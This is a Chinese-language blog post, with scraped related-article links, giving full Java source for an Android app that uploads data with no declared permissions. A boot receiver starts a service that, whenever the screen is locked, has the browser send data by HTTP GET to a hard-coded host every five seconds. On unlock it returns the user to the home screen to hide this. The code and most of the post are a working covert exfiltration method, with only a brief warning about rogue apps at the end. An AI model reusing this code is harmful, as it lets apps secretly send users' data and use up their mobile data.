博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
抛砖引玉 之 谁动了我的流量(0权限上传数据)
阅读量:6787 次
发布时间:2019-06-26

本文共 5319 字,大约阅读时间需要 17 分钟。

上次写过一篇文章    描述如何读取系统log缓冲区但还存在权限提示问题。

 

这次来个稍微好点的,真正的0权限上传数据

同上次讲的一样,虽然大部分用户在安装app时对权限警告视而不见,但相信以后用户会对权限问题越来越重视的。

这次咱们先真正的来一次0权限上传热热身。

 

一、原理

首先利用的还是那个开机启动bug。

然后,在手机锁屏时上传数据。

如何上传数据呢,为了避免权限咱们得瞒天过海。

 

我们知道,在Intent转向的时候,可以转到标记为ACTION_VIEW的activity,而浏览器都有这个标记,可以传一个uri过去。

soga,说到这里,,明白了吧。就是使用http的GET传参,虽然只能传明文,但已经够了,更何况一次能传输的字节也还是很客观的。

至于传什么,每个想实现这种功能的人都有其目的吧。

 

二、实现

首先是清单文件,不需要声明任何权限,只需要写一个广播接收者和一个服务即可

 

然后就是广播接收者的实现,很简单,单纯的开启一个服务

package org.igeek.hack.reciver; import org.igeek.hack.service.HackerService; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; /**  * @author 作者 E-mail:hangxin1940@gmail.com  * @version 创建时间:2012-01-13 下午10:32:21  * 类说明 */ public class HackReceiver extends BroadcastReceiver {
@Override public void onReceive(Context context, Intent intent) {
Intent it=new Intent(context, HackerService.class); context.startService(it); } }

 最后,就是关键部分,服务的实现
 

1 package org.igeek.hack.service;   2   3 import java.util.Random;   4 import android.app.KeyguardManager;   5 import android.app.Service;   6 import android.content.BroadcastReceiver;   7 import android.content.Context;   8 import android.content.Intent;   9 import android.content.IntentFilter;  10 import android.net.Uri;  11 import android.os.Handler;  12 import android.os.IBinder;  13 import android.util.Log;  14  15 /**  16  *  17  * @author 作者 E-mail:hangxin1940@gmail.com  18  * @version 创建时间:2012-01-13 下午10:42:11  19  * 类说明  20  */  21 public class HackerService extends Service {
22 private ScreenOnBroadcastReciver soReciver; 23 private ScreenOFFBroadcastReciver sfReciver; 24 private Handler handler; 25 26 final static String LOG_TAG="hack"; 27 KeyguardManager keyguardManager; 28 Intent it; 29 30 //GET提交地址 31 final String HACK_URL="http://www.igeek.org/hack?info="; 32 33 34 35 private Runnable r=new Runnable() {
36 37 @Override 38 public void run() {
39 40 41 //如果是锁屏状态 42 if(keyguardManager.inKeyguardRestrictedInputMode()){
43 44 //GET上传,内容随你 45 String hackInfo="hack!!!!your information!!!!!!!&r="+new Random().nextFloat(); 46 47 it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 48 Uri uri=Uri.parse(HACK_URL+hackInfo); 49 it.setData(uri); 50 startActivity(it); 51 Log.i(LOG_TAG,"提交数据->"+HACK_URL+hackInfo); 52 53 //每隔5秒,执行一次上传 54 handler.postDelayed(r, 5000); 55 } 56 } 57 }; 58 59 60 61 @Override 62 public void onStart(Intent intent, int startId) {
63 super.onStart(intent, startId); 64 65 keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE); 66 it=new Intent(Intent.ACTION_VIEW); 67 68 handler=new Handler(); 69 70 Log.i(LOG_TAG, "开机完成,注册广播接收者"); 71 soReciver=new ScreenOnBroadcastReciver(); 72 sfReciver=new ScreenOFFBroadcastReciver(); 73 74 IntentFilter onIntentFilter = new IntentFilter("android.intent.action.SCREEN_ON"); 75 registerReceiver(soReciver, onIntentFilter); 76 77 IntentFilter offIntentFilter = new IntentFilter("android.intent.action.SCREEN_OFF"); 78 registerReceiver(sfReciver, offIntentFilter); 79 } 80 81 82 @Override 83 public IBinder onBind(Intent intent) {
84 return null; 85 } 86 87 /** 88 * 解锁广播接收者 89 * @author hang 90 * 91 */ 92 class ScreenOnBroadcastReciver extends BroadcastReceiver {
93 94 @Override 95 public void onReceive(Context context, Intent intent) {
96 97 Log.i(LOG_TAG, "屏幕解开"); 98 handler.removeCallbacks(r); 99 intent.setAction(Intent.ACTION_MAIN); 100 intent.addCategory(Intent.CATEGORY_HOME); 101 intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 102 103 Log.i(LOG_TAG, "转向HOME"); 104 startActivity(intent); 105 106 } 107 108 } 109 110 /** 111 * 锁屏广播接收者 112 * @author hang 113 * 114 */ 115 class ScreenOFFBroadcastReciver extends BroadcastReceiver {
116 117 @Override 118 public void onReceive(final Context context, Intent intent) {
119 120 121 122 Log.i(LOG_TAG, "屏幕锁住"); 123 124 //500ms后开始执行上传数据 125 handler.postDelayed(r, 500); 126 } 127 128 } 129 }

 

三、效果

哈,运行下试试,关机。。。开机。。。锁屏。。解锁。。没发现什么反应啊。。。再看看程序管理。。Hack程序也没有任何权限提示啊。。。

 

真的这样吗?来看看log

you see? 流量就这么悄悄的耗了。

 

本工程包地址:

 

结束语

这么流氓的伎俩,相信谁都不想碰到,google market也混乱的一塌糊涂,android app混乱的不成样子,大家还是擦亮双眼,安全,一定要注意的。

另外,关于开机启动的这个bug,貌似360的手机安全软件可以检测出来。其它的我没试,因为我很懒,我从来不装安全软件。

 

最后,请关注我的 系列,会有更多精彩内容

 

原创,转载请注明  http://hangxin1940.cnblogs.com

这里仅当抛砖引玉,本人水平有限,难免有些疏漏或者错误,还请指正!!!

你可能感兴趣的文章
怎么给PDF文件裁剪页面呢?那种方法简单呢?
查看>>
python迭代器和生成器
查看>>
linux中ssh/scp连接远程ssh非22端口的服务器方法
查看>>
windows xp下添加loopback环回网卡
查看>>
Java synchronized详解
查看>>
PKI架构的简介,如何使用OPENSSL完成加密与解密,如何自建CA完成证书的签署。...
查看>>
MySQL备份脚本
查看>>
限制域用户多点并发登录解决方案
查看>>
MySQL重要参数介绍
查看>>
现场直击VeeamON大会,“云中漫步”与“免费盛宴”
查看>>
两个队列实现一个栈
查看>>
我的友情链接
查看>>
httpclient log 输出太多隐藏
查看>>
光纤网卡和HBA卡有什么区别
查看>>
图说:Windows 8 如何更改开始屏幕主题
查看>>
我的友情链接
查看>>
我的友情链接
查看>>
codevs——3344 迷宫
查看>>
我的友情链接
查看>>
洛谷——P1165 日志分析
查看>>